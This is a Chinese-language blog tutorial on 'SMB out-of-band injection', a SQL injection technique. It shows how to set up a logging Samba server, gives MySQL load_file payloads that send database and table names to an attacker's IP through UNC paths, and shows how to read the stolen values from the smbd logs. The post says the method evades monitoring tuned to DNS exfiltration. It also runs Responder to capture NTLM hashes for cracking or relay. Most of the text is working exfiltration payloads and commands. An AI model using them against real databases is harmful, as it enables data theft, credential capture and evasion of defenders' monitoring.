美文网首页
SMB外带注入

SMB外带注入

作者: 这是什么娃哈哈 | 来源:发表于2021-07-03 16:05 被阅读0次

    SMB外带注入

    温故而知新,今天在整理古老的近乎失传的DNS外带注入方法时,偶然间发现外带数据的装载区域并不一定是 域名前缀。放在后面也是可以的,由于目前网络上没有相关的记载,姑且称之为SMB外带注入吧。
    

    1.搭建测试环境

    系统:centos7

    首先安装smb服务

    yum install samba -y
    

    修改配置文件: vim /etc/samba/smb.conf

    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
        log level = 10
    
    
    [share]
        comment = share
        path = /tmp
        guest ok = yes
        writable =yes
        browsable = yes
        #force user = smbuser
    
    

    保存配置文件, 重启smb服务

    systemctl restart smb.service
    

    在windows环境的机器,上面安装MySQL ,建议安装 MySQL 5.7.16 以下版本,主要是由于高版本有一个默认选项secure_file_priv ,默认不允许load_file 。
    如果安装的数据库版本>=MySQL 5.7.16 在配置文件中将secure_file_priv设置为空, 修改完成后, 记得重启mysql服务

    show global variables like '%secure%';
    

    smb外带注入与DNS外带注入比较:

    smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。
    smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。
    

    构造sql语句:

    select load_file(concat("\\\\<IP>\\",(SQL语句),"\\xxx"))
    
    
    为了方便从log里提取查询的内容,可以构造如下语句
    select load_file(concat("\\\\10.99.99.234\\share[",database(),"]\\1.txt"));
    

    我们在MySQL服务器上执行这样一条SQL语句:

    select load_file('\\\\10.99.99.234\\share\\1.txt');
          在samba服务器上查看到了这样一条日志:
          [2021/07/03 03:27:45.437996, 10, pid=9939, effective(0, 0), real(0, 0)] ../../source3/lib/util_event.c:54(smbd_idle_event_handler)
    

    获取当前数据库名

    select load_file(concat("\\\\10.99.99.234\\share[",database(),"]\\1.txt"));
    

    查看smb日志

           tail -f /var/log/samba/log.smbd | grep "failed to find service"
    

    查询当前数据库里的表

    1. 使用limit
    2. substring截断
    

    使用limit请先获取总共的表数

    select load_file(concat("\\\\10.99.99.234\\test[",(select count(table_name) from information_schema.tables where table_schema=database()),"]\\1.txt"));
    

    再用limit逐个查询

    select load_file(concat("\\\\10.99.99.234\\test[",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"]\\1.txt"));
    

    验证第test库中的第一个表名是否为aggregate_graph_templates


    substring截断
    截断到120字符串即可

    select load_file(concat("\\\\10.99.99.234\\test[",(select substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,120)),"]\\1.txt"));
    

    另外种方法就是利用smb获取ntlm hash,适用于知道目标一定的凭证。利用responder获取ntlm v2然后爆破
    NTLM-relay攻击参考: https://www.cnblogs.com/car7n/p/14887818.html

    select load_file('\\\\10.99.99.245\\x');
    

    kali运行responder

    responder -I eth0 -f 10.99.99.41
    用法: -I表示指定的网卡,-f表示允许攻击者查看受害者的主机指纹。
    

    参考地址:
    https://422926799.github.io/posts/af61cc76.html
    http://moonslow.com/article/smb_sql_injection

    相关文章

      网友评论

          本文标题:SMB外带注入

          本文链接:https://www.haomeiwen.com/subject/pjauultx.html